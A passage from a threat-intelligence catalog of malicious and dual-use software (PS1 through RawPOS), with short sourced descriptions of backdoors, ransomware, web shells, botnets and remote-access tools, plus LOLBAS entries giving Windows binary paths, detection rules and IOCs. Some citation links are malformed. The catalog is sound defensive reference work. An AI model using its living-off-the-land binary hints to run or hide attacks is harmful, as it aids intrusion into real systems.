[PS1](https://app.tidalcyber.com/software/8cd401ac-a233-4395-a8ae-d75db9d5b845) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://app.tidalcyber.com/groups/) campaign.^{[[BlackBerry CostaRicto November 2020](https://app.tidalcyber.com/references/93a23447-641c-4ee2-9fbd-64b2adea8a5f)]}

The tag is: *misp-galaxy:software="PS1"*

PsExec

[PsExec](https://app.tidalcyber.com/software/73eb32af-4bd3-4e21-8048-355edc55a9c6) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.^{[[Russinovich Sysinternals](https://app.tidalcyber.com/references/72d27aca-62c5-4e96-9977-c41951aaa888)]}^{[[SANS PsExec](https://app.tidalcyber.com/references/a8d1e40d-b291-443c-86cc-edf6db00b898)]}

The tag is: *misp-galaxy:software="PsExec"*

Psr

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Problem Steps Recorder, used to record screen and clicks.

Author: Leon Rodenko

Paths: * c:\windows\system32\psr.exe * c:\windows\syswow64\psr.exe

Resources: * https://social.technet.microsoft.com/wiki/contents/articles/51722.windows-problem-steps-recorder-psr-quick-and-easy-documenting-of-your-steps-and-procedures.aspx

Detection: * Sigma: [proc_creation_win_psr_capture_screenshots.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_psr_capture_screenshots.yml) * IOC: psr.exe spawned * IOC: suspicious activity when running with "/gui 0" flag^{[[Psr.exe - LOLBAS Project](/references/a00782cf-f6b2-4b63-9d8d-97efe17e11c0)]}

The tag is: *misp-galaxy:software="Psr"*

Psylo

[Psylo](https://app.tidalcyber.com/software/8c35d349-2f70-4edb-8668-e1cc2b67e4a0) is a shellcode-

based Trojan that has been used by [Scarlet Mimic](https://app.tidalcyber.com/groups/6c1bdc51-f633-4512-8b20-04a11c2d97f4). It has similar characteristics as [FakeM](https://app.tidalcyber.com/software/8c64a330-1457-4c32-ab2f-12b6eb37d607). ^{[[Scarlet Mimic Jan 2016](https://app.tidalcyber.com/references/f84a5b6d-3af1-45b1-ac55-69ceced8735f)]}

The tag is: *misp-galaxy:software="Psylo"*

Pteranodon

[Pteranodon](https://app.tidalcyber.com/software/7fed4276-807e-4656-95f5-90878b6e2dbb) is a custom backdoor used by [Gamaredon Group](https://app.tidalcyber.com/groups/41e8b4a4-2d31-46ee-bc56-12375084d067). ^{[[Palo Alto Gamaredon Feb 2017](https://app.tidalcyber.com/references/3f9a6343-1db3-4696-99ed-f22c6eabee71)]}

The tag is: *misp-galaxy:software="Pteranodon"*

PTSOCKET

PTSOCKET is an exfiltration tool, one of a series of software associated with China-based espionage actor Earth Preta (aka Mustang Panda) reported by researchers in September 2024.^{[[Trend Micro September 9 2024](/references/0fdc9ee2-5be2-43e0-afb9-c9a94fde3867)]}

The tag is: *misp-galaxy:software="PTSOCKET"*

PUBLOAD

PUBLOAD is a multi-purpose tool primarily used to orchestrate command and control, one of a series of software associated with China-based espionage actor Earth Preta (aka Mustang Panda) reported by researchers in September 2024.^{[[Trend Micro September 9 2024](/references/0fdc9ee2-5be2-43e0-afb9-c9a94fde3867)]}

The tag is: *misp-galaxy:software="PUBLOAD"*

Pubprn

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Proxy execution with Pubprn.vbs

Author: Oddvar Moe

Paths: * C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs * C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs

Resources: * [https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/](https://enigma0x3.net/

2017/08/03/wsh-injection-a-case-study/) * https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology * https://github.com/enigma0x3/windows-operating-system-archaeology

Detection: * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * Sigma: [proc_creation_win_lolbin_pubprn.yml]([Pubprn.vbs - LOLBAS Project(/references/d2b6b9fd-5f80-41c0-ac22-06b78c86a9e5)]</sup>

The tag is: *misp-galaxy:software="Pubprn"*

PULSECHECK

[PULSECHECK](https://app.tidalcyber.com/software/d777204c-f93c-54d9-b80e-41641a3d55ce) is a web shell written in Perl that was used by [APT5](https://app.tidalcyber.com/groups/f46d6ee9-9d1d-586a-9f2d-6bff8fb92910) as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) companies.^{[[Mandiant Pulse Secure Zero-Day April 2021](https://app.tidalcyber.com/references/0760480c-97be-5fc9-a6aa-f1df91a314a3)]}

The tag is: *misp-galaxy:software="PULSECHECK"*

Pulseway

According to joint Cybersecurity Advisory AA23-320A (November 2023), Pulseway is a publicly available, legitimate tool that "enables remote monitoring and management of systems". According to the Advisory, Scattered Spider threat actors are known to abuse the tool during their intrusions.^{[[U.S. CISA Scattered Spider November 16 2023](/references/9c242265-c28c-4580-8e6a-478d8700b092)]}

The tag is: *misp-galaxy:software="Pulseway"*

PUNCHBUGGY

[PUNCHBUGGY](https://app.tidalcyber.com/software/d8999d60-3818-4d75-8756-8a55531254d8) is a backdoor malware used by [FIN8](https://app.tidalcyber.com/groups/b3061284-0335-4dcb-9f8e-a3b0412fd46f) that has been observed targeting POS networks in the hospitality industry.^{[[Morphisec ShellTea June 2019](https://app.tidalcyber.com/references/1b6ce918-651a-480d-8305-82bccbf42e96)]}^{[[FireEye Fin8 May 2016](https://app.tidalcyber.com/references/2079101c-d988-430a-9082-d25c475b2af5)]} ^{[[FireEye Know Your Enemy FIN8 Aug 2016](https://app.tidalcyber.com/references/0119687c-b46b-4b5f-a6d8-affa14258392)]}

The tag is: *misp-galaxy:software="PUNCHBUGGY"*

PUNCHTRACK

[PUNCHTRACK](https://app.tidalcyber.com/software/1638d99b-fbcf-40ec-ac48-802ce5be520a) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://app.tidalcyber.com/groups/b3061284-0335-4dcb-9f8e-a3b0412fd46f) to scrape payment card data. ^{[[FireEye Fin8 May 2016](https://app.tidalcyber.com/references/2079101c-d988-430a-9082-d25c475b2af5)]} ^{[[FireEye Know Your Enemy FIN8 Aug 2016](https://app.tidalcyber.com/references/0119687c-b46b-4b5f-a6d8-affa14258392)]}

The tag is: *misp-galaxy:software="PUNCHTRACK"*

Pupy

[Pupy](https://app.tidalcyber.com/software/0a8bedc2-b404-4a9a-b4f5-ff90ff8294be) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. ^{[[GitHub Pupy](https://app.tidalcyber.com/references/69d5cb59-6545-4405-8ca6-733db99d3ee9)]} It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). ^{[[GitHub Pupy](https://app.tidalcyber.com/references/69d5cb59-6545-4405-8ca6-733db99d3ee9)]} [Pupy](https://app.tidalcyber.com/software/0a8bedc2-b404-4a9a-b4f5-ff90ff8294be) is publicly available on GitHub. ^{[[GitHub Pupy](https://app.tidalcyber.com/references/69d5cb59-6545-4405-8ca6-733db99d3ee9)]}

The tag is: *misp-galaxy:software="Pupy"*

PureCrypter

PureCrypter is a malware used for downloading/dropping purposes.

The tag is: *misp-galaxy:software="PureCrypter"*

PuTTy

PuTTy is an open-source SSH and telnet client.^{[[PuTTY Download Page](/references/bf278270-128e-483b-9f09-ce24f5f6ed80)]}

The tag is: *misp-galaxy:software="PuTTy"*

pwdump

[pwdump](https://app.tidalcyber.com/software/77f629db-d971-49d8-8b73-c7c779b7de3e) is a credential dumper. ^{[[Wikipedia pwdump](https://app.tidalcyber.com/references/6a1a1ae1-a587-41f5-945f-011d6808e5b8)]}

The tag is: *misp-galaxy:software="pwdump"*

PyDCrypt

[PyDCrypt](https://app.tidalcyber.com/software/51b2c56e-7d64-4e15-b1bd-45a980c9c44d) is malware written in Python designed to deliver [DCSrv](https://app.tidalcyber.com/software/26ae3cd1-6710-4807-b674-957bd67d3e76). It has been used by [Moses Staff](https://app.tidalcyber.com/groups/a41725c5-eb3a-4772-8d1e-17c3bbade79c) since at least September 2021, with each sample tailored for its intended victim organization.^{[[Checkpoint MosesStaff Nov 2021](https://app.tidalcyber.com/references/d6da2849-cff0-408a-9f09-81a33fc88a56)]}

The tag is: *misp-galaxy:software="PyDCrypt"*

Pysa

[Pysa](https://app.tidalcyber.com/software/e0d5ecce-eca0-4f01-afcc-0c8e92323016) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.^{[[CERT-FR PYSA April 2020](https://app.tidalcyber.com/references/4e502db6-2e09-4422-9dcc-1e10e701e122)]}

The tag is: *misp-galaxy:software="Pysa"*

pysoxy

pysoxy is a small Socks5 Proxy Server in Python3.^{[[GitHub April 21 2016](/references/8e849116-dda0-4c31-8a53-6dee8ce418df)]}

The tag is: *misp-galaxy:software="pysoxy"*

python.exe

The genuine python.exe file is a software component of Python by Python Software Foundation. Python is a high-level programming language which supports object-oriented, imperative and functional programming or procedural programming styles. Python.exe launches the Python application.^{[[python.exe Windows process July 2 2014](/references/ab0acab9-706f-47ed-966f-b0249276cafd)]}

The tag is: *misp-galaxy:software="python.exe"*

PyXie RAT

PyXie is a full-featured Python RAT compiled into an executable. The malware can perform web-injects, keylogging, harvest credentials, scan the network, steal cookies, clear logs, record audio, and run arbitrary code.^{[[BlackBerry PyXie December 2 2019](/references/cad54315-4f1b-4334-b77a-080901d15143)]}

The tag is: *misp-galaxy:software="PyXie RAT"*

QakBot

[QakBot](https://app.tidalcyber.com/software/9050b418-5ffd-481a-a30d-f9059b0871ea) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://app.tidalcyber.com/software/9050b418-5ffd-481a-a30d-f9059b0871ea) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://app.tidalcyber.com/software/c8af096e-c71e-4751-b203-70c285b7a7bd) and [Egregor]([Trend Micro Qakbot December 2020 (https://app.tidalcyber.com/references/c061ce45-1452-4c11-9586-bd5eb2d718ab)]</sup>^{[[Red Canary Qbot](https://app.tidalcyber.com/references/6e4960e7-ae5e-4b68-ac85-4bd84e940634)]}^{[[Kaspersky QakBot September 2021](https://app.tidalcyber.com/references/f40cabe3-a324-4b4d-8e95-25c036dbd8b5)]}^{[[ATT QakBot April 2021](https://app.tidalcyber.com/references/c7b0b3f3-e9ea-4159-acd1-f6d92ed41828)]}

The tag is: *misp-galaxy:software="QakBot"*

QDoor

A network tunneling backdoor used by Blacksuit ransomware operators, capable of collecting system information and establishing connections with a command and control server.^{[[ConnectWise LinkedIn September 25 2024](/references/b83aacf3-26b4-4913-85f2-95cbd1d08bcc)]}

The tag is: *misp-galaxy:software="QDoor"*

Qilin Ransomware

Qilin (also known as Agenda) is a ransomware discovered in 2022. Attacks by threat actors deploying Qilin increased considerably in Q1 2024, impacting organizations in a wide range of sectors and locations across the globe.^{[[Trend Micro March 26 2024](/references/d5634b8e-420a-4721-a3d2-19d9f36697f4)]}

The ransomware's capabilities have evolved over time, and multiple Qilin/Agenda variants and versions have been observed. The techniques featured in this object mainly derive from a variant observed in February 2024 written in the Rust programming language. A variant focused on encrypting Linux-based virtual machine servers can be found in the separate "Qilin Ransomware (Linux)" Software object.

The tag is: *misp-galaxy:software="Qilin Ransomware"*

Qilin Ransomware (Linux)

Qilin is a Linux-based ransomware. The malware is technically capable of running on Linux, FreeBSD, and VMware ESXi servers, but researchers have most often observed Qilin being used to encrypt virtual machines. Qilin users can use various flags to customize its capabilities. Qilin operators maintain a website where they threaten to leak data exfiltrated during their attacks, in an attempt to pressure victims into paying a ransom.<sup>[[BleepingComputer 12 3

2023](/references/8cb73f97-0256-472d-88b7-92b6d63578fd)]</sup>

The tag is: *misp-galaxy:software="Qilin Ransomware (Linux)"*

Quad7 Botnet

This object reflects ATT&CK Techniques associated with 7777 or Quad7, a botnet used to compromise network devices such as TP-LINK small office/home office ("SOHO") routers and use the infected devices to relay password spraying attacks against Microsoft 365 accounts.

Additional Techniques associated with the botnet's operators can be found in the related Group object, "Quad7 Botnet Operators".^{[[Sekoia.io Blog July 23 2024](/references/ae84e72a-56b3-4dc4-b053-d3766764ac0d)]}^{[[Sekoia.io Blog September 9 2024](/references/eb4a1888-3b04-449b-9738-d96ae26adfee)]}

The tag is: *misp-galaxy:software="Quad7 Botnet"*

QUADAGENT

[QUADAGENT](https://app.tidalcyber.com/software/2bf68242-1dbd-405b-ac35-330eda887081) is a PowerShell backdoor used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2). ^{[[Unit 42 QUADAGENT July 2018](https://app.tidalcyber.com/references/320f49df-7b0a-4a6a-8542-17b0f56c94c9)]}

The tag is: *misp-galaxy:software="QUADAGENT"*

Quantum Locker

Quantum Locker is a ransomware payload that derives from the MountLocker, AstroLocker, and XingLocker ransomware families. Actors that deploy Quantum ransomware are known to publicly extort their victims.^{[[Cybereason Quantum Ransomware May 9 2022](/references/19027620-216a-4921-8d78-f56377778a12)]}

The tag is: *misp-galaxy:software="Quantum Locker"*

QuasarRAT

[QuasarRAT](https://app.tidalcyber.com/software/4bab7c2b-5ec4-467e-8df4-f2e6996e136b) is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. [QuasarRAT](https://app.tidalcyber.com/software/4bab7c2b-5ec4-467e-8df4-f2e6996e136b) is developed in the C# language.^{[[GitHub QuasarRAT](https://app.tidalcyber.com/references/c87e4427-af97-4e93-9596-ad5a588aa171)]}^{[[Volexity Patchwork June 2018](https://app.tidalcyber.com/references/d3ed7dd9-0941-4160-aa6a-c0244c63560f)]}

The tag is: *misp-galaxy:software="QuasarRAT"*

Quick Assist

[Quick Assist](https://app.tidalcyber.com/software/07fde49b-6b86-5053-b953-a13a2171e53a) is a remote assistance tool primarily for Microsoft Windows, although a macOS version also exists. [Quick Assist](https://app.tidalcyber.com/software/07fde49b-6b86-5053-b953-a13a2171e53a) allows for remote screen sharing and, with end user approval, remote control and command execution on the enabling device.^{[[Microsoft Storm-1811 2024](https://app.tidalcyber.com/references/c3c52950-51cf-540f-9951-1d8bef4be937)]}^{[[Microsoft Quick Assist 2024](https://app.tidalcyber.com/references/9ea922a4-42fa-5689-8e2a-3ffd23225c43)]}

The tag is: *misp-galaxy:software="Quick Assist"*

Quick Assist (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Quick Assist" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

Quick Assist is a built-in Windows utility that can be used to grant external users remote access to a particular system. Financially motivated adversaries abused Quick Assist during an April 2024 campaign that in some cases led to Black Basta ransomware deployment.^{[[Microsoft Security Blog 5 15 2024](/references/0876de6e-ea0c-4717-89a4-9c7baed53b6f)]}

The tag is: *misp-galaxy:software="Quick Assist (Deprecated)"*

QUIETCANARY

[QUIETCANARY](https://app.tidalcyber.com/software/52d3515c-5184-5257-bf24-56adccb4cccd) is a backdoor tool written in .NET that has been used since at least 2022 to gather and exfiltrate data from victim networks.^{[[Mandiant Suspected Turla Campaign February 2023](https://app.tidalcyber.com/references/d8f43a52-a59e-5567-8259-821b1b6bde43)]}

The tag is: *misp-galaxy:software="QUIETCANARY"*

QUIETEXIT

[QUIETEXIT](https://app.tidalcyber.com/software/947ab087-7550-577f-9ae9-5e82e9910610) is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2021. [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) has deployed [QUIETEXIT](https://app.tidalcyber.com/software/947ab087-7550-577f-9ae9-5e82e9910610) on opaque network appliances that typically don’t support antivirus or endpoint detection and response tools within a victim environment.^{[[Mandiant APT29 Eye Spy Email Nov 22](https://app.tidalcyber.com/references/452ca091-42b1-5bef-8a01-921c1f46bbee)]}

The tag is: *misp-galaxy:software="QUIETEXIT"*

QuietSieve

[QuietSieve](https://app.tidalcyber.com/software/dcdb74c5-4445-49bd-9f9c-236a7ecc7904) is an information stealer that has been used by [Gamaredon Group](https://app.tidalcyber.com/groups/41e8b4a4-2d31-46ee-bc56-12375084d067) since at least 2021.^{[[Microsoft Actinium February 2022](https://app.tidalcyber.com/references/5ab658db-7f71-4213-8146-e22da54160b3)]}

The tag is: *misp-galaxy:software="QuietSieve"*

Quser

According to joint Cybersecurity Advisory AA23-250A (September 2023), Quser is "a valid program on Windows machines that displays information about user sessions on a Remote Desktop Session Host server".^{[[U.S. CISA Zoho Exploits September 7 2023](/references/6bb581e8-ed0e-41fe-bf95-49b5d11b4e6b)]}

The tag is: *misp-galaxy:software="Quser"*

Raccoon Stealer

[Raccoon Stealer](https://app.tidalcyber.com/software/8d717889-a101-54a8-8c8c-4aee8423d151) is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. [Raccoon Stealer](https://app.tidalcyber.com/software/8d717889-a101-54a8-8c8c-4aee8423d151) has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.^{[[S2W Racoon 2022](https://app.tidalcyber.com/references/b53a4c5f-ef68-50a7-ae2d-192b3ace860c)]}^{[[Sekoia Raccoon1 2022](https://app.tidalcyber.com/references/645bc346-747b-5b9b-984b-fa1057cf8eb1)]}

The tag is: *misp-galaxy:software="Raccoon Stealer"*

Radmin

Radmin is a free remote desktop software application. It has been abused by cyber threat actors such as Akira ransomware operators to facilitate remote access into victim networks.^{[[Sophos Akira May 9 2023](/references/1343b052-b158-4dad-9ed4-9dbb7bb778dd)]}

The tag is: *misp-galaxy:software="Radmin"*

Ragnar Locker

[Ragnar Locker](https://app.tidalcyber.com/software/d25f7acd-a995-4b8b-8ffe-ccc9703cdf5f) is a ransomware that has been in use since at least December 2019.^{[[Sophos Ragnar May 2020](https://app.tidalcyber.com/references/04ed6dc0-45c2-4e36-8ec7-a75f6f715f0a)]}^{[[Cynet Ragnar Apr 2020](https://app.tidalcyber.com/references/aeb637ea-0b83-42a0-8f68-9fdc59aa462a)]}

The tag is: *misp-galaxy:software="Ragnar Locker"*

Raindrop

[Raindrop](https://app.tidalcyber.com/software/80295aeb-59e3-4c5d-ac39-9879158f8d23) is a loader used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://app.tidalcyber.com/campaigns/8bde8146-0656-5800-82e6-e24e008e4f4a). It was discovered in January 2021 and was likely used since at least May 2020.^{[[Symantec RAINDROP January 2021](https://app.tidalcyber.com/references/9185092d-3d99-466d-b885-f4e76fe74b6b)]}^{[[Microsoft Deep Dive Solorigate January 2021](https://app.tidalcyber.com/references/ddd70eef-ab94-45a9-af43-c396c9e3fbc6)]}

The tag is: *misp-galaxy:software="Raindrop"*

RainyDay

[RainyDay](https://app.tidalcyber.com/software/42b775bd-0c1d-4ad3-8f7f-cbb0ba84e19e) is a backdoor tool that has been used by [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) since at least 2020.^{[[Bitdefender Naikon April 2021](https://app.tidalcyber.com/references/55660913-4c03-4360-bb8b-1cad94bd8d0e)]}

The tag is: *misp-galaxy:software="RainyDay"*

RALord Ransomware

RALord refers to a Rust-based ransomware developed by a ransomware operation of the same name. Public threat reporting indicates that the ransomware has also been leveraged by affiliates leveraging Nova ransomware-as-a-service ("RaaS") infrastructure.^{[[Cyble April 17 2025](/references/cad46e02-2e68-4347-be1c-7be910adee95)]}^{[[SonicWall Nova Ransomware April 11 2025](/references/4926be5f-0eea-44cc-a73e-2f173eee901b)]}

The tag is: *misp-galaxy:software="RALord Ransomware"*

Ramsay

[Ramsay](https://app.tidalcyber.com/software/dc307b3c-9bc5-4624-b0bc-4807fa1fc57b) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://app.tidalcyber.com/software/dc307b3c-9bc5-4624-b0bc-4807fa1fc57b) and the [Darkhotel](https://app.tidalcyber.com/groups/efa1d922-8f48-43a6-89fe-237e1f3812c8)-associated Retro malware.^{[[Eset Ramsay May 2020](https://app.tidalcyber.com/references/3c149b0b-f37c-4d4e-aa61-351c87fd57ce)]}^{[[Antiy CERT Ramsay April 2020](https://app.tidalcyber.com/references/280636da-fa21-472c-947c-651a628ea2cd)]}

The tag is: *misp-galaxy:software="Ramsay"*

RansomEXX Ransomware

RansomEXX is a ransomware family that targeted multiple large companies starting in 2020. A little after the first wave of infections, a Linux variant of the ransomware started spreading as well. The actors behind RansomEXX seem to be after big corporations to extort as much money as possible.

RansomEXX bears resemblances with the Defray777 ransomware. The Linux version is a simple piece of malware. It does not contain any code to terminate processes like security software, does not wipe free space like the Windows version does, and does not communicate with a command and control server.

Infections usually occur by the actors gaining a foothold within a target infrastructure and compromising as many systems as possible before manually installing the ransomware.

If the victim pays the ransom, they will receive both a Linux and Windows decryptor with the corresponding RSA-4096 private key and encrypted file extension embedded in the executable. The Linux decryptor is named 'decryptor64' and is a command-line driven decryptor.^{[[Kaspersky November 6 2020](/references/2a116685-6e82-4b33-ab54-dd5714b6d007)]}^{[[BleepingComputer November 6 2020](/references/6443bbea-08c1-4b69-9eb3-c7b144a6079f)]}^{[[McAfee What is Ransomware](/references/db2e2685-cdda-47dc-8b81-44970fcbef50)]}

The tag is: *misp-galaxy:software="RansomEXX Ransomware"*

RansomHub

[RansomHub](https://app.tidalcyber.com/software/8271849f-77f9-5a38-812e-7b6a348b01c4) is a ransomware-as-a-service (RaaS) offering with Windows, ESXi, Linux, and FreeBSD versions that has been in use since at least 2024 to target organizations in multiple sectors globally. [RansomHub](https://app.tidalcyber.com/software/8271849f-77f9-5a38-812e-7b6a348b01c4) operators may have purchased and rebranded resources from Knight (formerly Cyclops) Ransomware which shares infrastructure, feature, and code overlaps with [RansomHub]([CISA RansomHub AUG 2024(https://app.tidalcyber.com/references/c333b637-e2e7-5167-8871-ec612750f996)]</sup>^{[[Group-IB RansomHub FEB 2025](https://app.tidalcyber.com/references/2a0781ed-58f5-5843-b929-232517f3ec8c)]}

The tag is: *misp-galaxy:software="RansomHub"*

RansomHub (Payload) (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "RansomHub" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

This object represents the techniques associated with the payload binary used in attacks associated with the RansomHub ransomware-as-a-service ("RaaS") operation. The RansomHub gang is suspected of leaking victim data exfiltrated in attacks by other groups, but researchers have also

observed an apparent original ransomware payload linked to the group.^{[[BroadcomSW June 5 2024](/references/3fa49490-cb22-4362-bf48-eaba9e83e6f5)]}^{[[The Record RansomHub June 3 2024](/references/1e474240-bd12-4472-8e69-1631b0e4c102)]} This payload displays a high degree of code similarity with Knight ransomware, whose source code was offered for sale in cybercriminal forums in February 2024.^{[[BroadcomSW June 5 2024](/references/3fa49490-cb22-4362-bf48-eaba9e83e6f5)]}

The tag is: *misp-galaxy:software="RansomHub (Payload) (Deprecated)"*

RAPIDPULSE

[RAPIDPULSE](https://app.tidalcyber.com/software/129abb68-7992-554e-92fa-fa376279c0b6) is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by [APT5](https://app.tidalcyber.com/groups/f46d6ee9-9d1d-586a-9f2d-6bff8fb92910) since at least 2021.^{[[Mandiant Pulse Secure Update May 2021](https://app.tidalcyber.com/references/5620adaf-c2a7-5f0f-ae70-554ce720426e)]}

The tag is: *misp-galaxy:software="RAPIDPULSE"*

Raptor Train

Raptor Train is a large botnet, linked to Chinese espionage actor Flax Typhoon, that consisted of compromised small office/home office (SOHO) and IoT devices. Raptor Train is believed to have acted as a proxy to conceal further malicious activity such as targeted compromises of U.S. and Taiwanese networks.^{[[Black Lotus Raptor Train September 18 2024](/references/21e26577-887b-4b8c-a3f8-4ab8868bed69)]}^{[[FBI PRC Botnet September 18 2024](/references/cfb6f191-6c43-423b-9289-02beb3d721d1)]}

Initial compromises typically occurred through exploit of a large number of previously disclosed vulnerabilities, a list of which is provided in a [September 2024 U.S. cybersecurity advisory]([FBI PRC Botnet September 18 2024(/references/cfb6f191-6c43-423b-9289-02beb3d721d1)]</sup>

The tag is: *misp-galaxy:software="Raptor Train"*

RARSTONE

[RARSTONE](https://app.tidalcyber.com/software/a9c9fda8-c156-44f2-bc7e-1b696f3fbaa2) is malware used by the [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) group that has some characteristics similar to [PlugX](https://app.tidalcyber.com/software/070b56f4-7810-4dad-b85f-bdfce9c08c10). ^{[[Aquino RARSTONE](https://app.tidalcyber.com/references/2327592e-4e8a-481e-bdf9-d548c776adee)]}

The tag is: *misp-galaxy:software="RARSTONE"*

Rasautou

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under

[GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Remote Access Dialer

Author: Tony Lambert

Paths: * C:\Windows\System32\rasautou.exe

Resources: * https://github.com/fireeye/DueDLLigence * https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html

Detection: * Sigma: [win_rasautou_dll_execution.yml](https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_rasautou_dll_execution.yml) * IOC: rasautou.exe command line containing -d and -p^{[[Rasautou.exe - LOLBAS Project](/references/dc299f7a-403b-4a22-9386-0be3e160d185)]}

The tag is: *misp-galaxy:software="Rasautou"*

Raspberry Robin

[Raspberry Robin](https://app.tidalcyber.com/software/22841966-6888-5ae5-8546-fd777cd66ca4) is initial access malware first identified in September 2021, and active through early 2024. The malware is notable for spreading via infected USB devices containing a malicious LNK object that, on execution, retrieves remote hosted payloads for installation. [Raspberry Robin](https://app.tidalcyber.com/software/22841966-6888-5ae5-8546-fd777cd66ca4) has been widely used against various industries and geographies, and as a precursor to information stealer, ransomware, and other payloads such as [SocGholish](https://app.tidalcyber.com/software/ab84f259-9b9a-51d8-a68a-2bcd7512d760), [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6), [IcedID](https://app.tidalcyber.com/software/7f59bb7c-5fa9-497d-9d8e-ba9349fd9433), and [Bumblebee]([TrendMicro RaspberryRobin 2022](https://app.tidalcyber.com/references/b454f50a-57fe-56f2-a8c0-ae1ab65fa945)]</sup>^{[[RedCanary RaspberryRobin 2022](https://app.tidalcyber.com/references/ca6aa417-3da7-5173-818c-c539983033b5)]}^{[[HP RaspberryRobin 2024](https://app.tidalcyber.com/references/f01c041a-f8f5-51de-ab2f-1f513bf6d38c)]} The DLL componenet in the [Raspberry Robin](https://app.tidalcyber.com/software/22841966-6888-5ae5-8546-fd777cd66ca4) infection chain is also referred to as "Roshtyak."^{[[Avast RaspberryRobin 2022](https://app.tidalcyber.com/references/3ebeefee-42cd-5130-8d6b-d0520d8bb8c2)]} The name "Raspberry Robin" is used to refer to both the malware as well as the threat actor associated with its use, although the Raspberry Robin operators are also tracked as <code>Storm-0856</code> by some vendors.^{[[Microsoft RaspberryRobin 2022](https://app.tidalcyber.com/references/fe2dd68c-6e25-5fae-bc57-3a072ecf4f72)]}

The tag is: *misp-galaxy:software="Raspberry Robin"*

RATANKBA

[RATANKBA](https://app.tidalcyber.com/software/40466d7d-a107-46aa-a6fc-180e0eef2c6b) is a remote controller tool used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08). [RATANKBA](https://app.tidalcyber.com/software/40466d7d-a107-46aa-a6fc-180e0eef2c6b) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://app.tidalcyber.com/software/40466d7d-a107-46aa-a6fc-180e0eef2c6b) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. ^{[[Lazarus RATANKBA](https://app.tidalcyber.com/references/e3f9853f-29b0-4219-a488-a6ecfa16b09f)]} ^{[[RATANKBA](https://app.tidalcyber.com/references/7d08ec64-7fb8-4520-b26b-95b0dee891fe)]}

The tag is: *misp-galaxy:software="RATANKBA"*

RawDisk

[RawDisk](https://app.tidalcyber.com/software/d86a562d-d235-4481-9a3f-273fa3ebe89a) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.^{[[EldoS RawDisk ITpro](https://app.tidalcyber.com/references/a6cf3d1d-2310-42bb-9324-495b4e94d329)]}^{[[Novetta Blockbuster Destructive Malware](https://app.tidalcyber.com/references/de278b77-52cb-4126-9341-5b32843ae9f1)]}

The tag is: *misp-galaxy:software="RawDisk"*

RA World

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="RA World"*

RawPOS

